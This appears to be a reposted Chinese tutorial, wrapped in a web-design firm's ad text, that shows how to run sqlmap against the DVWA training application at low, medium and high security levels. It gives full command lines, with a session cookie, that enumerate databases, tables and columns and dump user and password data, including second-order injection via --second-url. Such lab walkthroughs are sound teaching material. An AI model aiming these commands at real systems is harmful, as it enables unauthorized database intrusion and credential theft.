本篇文章給大家分享的是有關Sqlmap自動化注入的示例分析，小編覺得挺實用的，因此分享給大家學習，希望大家閱讀完這篇文章后可以有所收獲，話不多說，跟著小編一起來看看吧。

創(chuàng)新互聯(lián)長期為數(shù)千家客戶提供的網(wǎng)站建設服務，團隊從業(yè)經(jīng)驗10年，關注不同地域、不同群體，并針對不同對象提供差異化的產(chǎn)品和服務；打造開放共贏平臺，與合作伙伴共同營造健康的互聯(lián)網(wǎng)生態(tài)環(huán)境。為任丘企業(yè)提供專業(yè)的成都做網(wǎng)站、成都網(wǎng)站設計，任丘網(wǎng)站改版等技術服務。擁有10余年豐富建站經(jīng)驗和眾多成功案例,為您定制開發(fā)。

使用sqlmap對dvwa進行自動化注入
 設置dvwa級別為low

1. 打開dvwa的SQL Injection（SQL Injection (Blind）），打開瀏覽器調(diào)試，輸入user id并submit，查看攔截到的請求。

2. 可以看到是一條GET請求，url“http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”

3. 我們直接放到salmap測試一下，使用-u命令 -u "http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#"

4. 可以看到這里是需要登錄的，否則跑不出來。所以我們需要添加一個cookie維持登錄

    6.使用burp suite代理抓包，獲取登錄的cookie,添加--dbs 爆數(shù)據(jù) -u "http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#" --    cookie="PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low" --dbs

       可以看到爆出來的數(shù)據(jù)庫是MySQL

      7. 我們用-D xxx指定查看的數(shù)據(jù)庫，用--tables查看該數(shù)據(jù)庫的所有表:-u            "http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low" -D dvwa --tables

查看跑出來的結(jié)果：

8.我們用-D xxx -T ttt指定查看的表，用--columns查看表的列

-u "http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low" -D dvwa -T users --columns

9.我們用-D xxx查看數(shù)據(jù)庫， -T xxx指定查看的表，用-C xxx查看表的列,用-dump查看列的數(shù)據(jù)

-u "http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low" -D dvwa -T users -C password,user --dump

• 將dvwa安全等級調(diào)為medium將抓取的數(shù)據(jù)包保存為.txt文件，放到sqlmap的目錄下，直接-r 文件名 --dbs(后續(xù)的參數(shù)自己添加即可)

• 將dvwa 安全等級調(diào)為high。由于這次的提交頁面跟返回結(jié)果的頁面不是同一個頁面，所以之前的那種方法在這里不能用了。要使用二階注入的方法

• 提交數(shù)據(jù)的網(wǎng)址             

• 返回的網(wǎng)址

       將抓取的數(shù)據(jù)包保存為.txt文件，放到sqlmap的目錄下，爆數(shù)據(jù)庫，命令： -r           1.txt --second-url"http://192.168.1.222:8089/vulnerabilities/sqli/" --           batch --level 2 --dbs

       

       爆表名

      -r 1.txt --second-url "http://192.168.1.222:8089/vulnerabilities/sqli/" -        -batch --level 2 -D dvwa --tables

      

      爆列名

      -r 1.txt --second-url "http://192.168.1.222:8089/vulnerabilities/sqli/" 

     -- batch --level 2 -D dvwa -T user --columns

     

     爆字段數(shù)據(jù)

   -r 1.txt --second-url "http://192.168.1.222:8089/vulnerabilities/sqli/" --       batch --level 2 -D dvwa -T users -C user,password --dump

   

• 一些概念問題：

• 二階注入:二階sql注入--second-order有些時候注入點輸入的數(shù)據(jù)看返回結(jié)果的時候并不是 當前的頁面，而是另外的一個頁面， 這時候就需要你指定到哪個頁面獲取響應判斷真假。–second-url 后面跟一個返回的頁面的URL地址

• --batch:自動默認配置，不用手動按yes or no

• level :Sqlmap一共有5個探測等級，默認是1。等級越高，說明探測時使用的payload也越多。其中5級的payload最多，會自動破解出cookie、XFF等頭部注入。當然，等級越高，探測的時間也越慢。這個參數(shù)會影響測試的注入點，GET和POST的數(shù)據(jù)都會進行測試，HTTP cookie在level為2時就會測試，HTTP  User-Agent/Referer頭在level為3時就會測試。在不確定哪個參數(shù)為注入點時，為了保證準確性，建議設置level為5（速度也隨之變慢）

以上就是Sqlmap自動化注入的示例分析，小編相信有部分知識點可能是我們?nèi)粘９ぷ鲿姷交蛴玫降摹ＯＭ隳芡ㄟ^這篇文章學到更多知識。更多詳情敬請關注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

文章標題：Sqlmap自動化注入的示例分析
標題鏈接：http://m.2m8n56k.cn/article4/jdseoe.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián)，為您提供外貿(mào)網(wǎng)站建設、品牌網(wǎng)站制作、網(wǎng)站制作、全網(wǎng)營銷推廣、建站公司、標簽優(yōu)化

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權請盡快告知，我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場，如需處理請聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時需注明來源： 創(chuàng)新互聯(lián)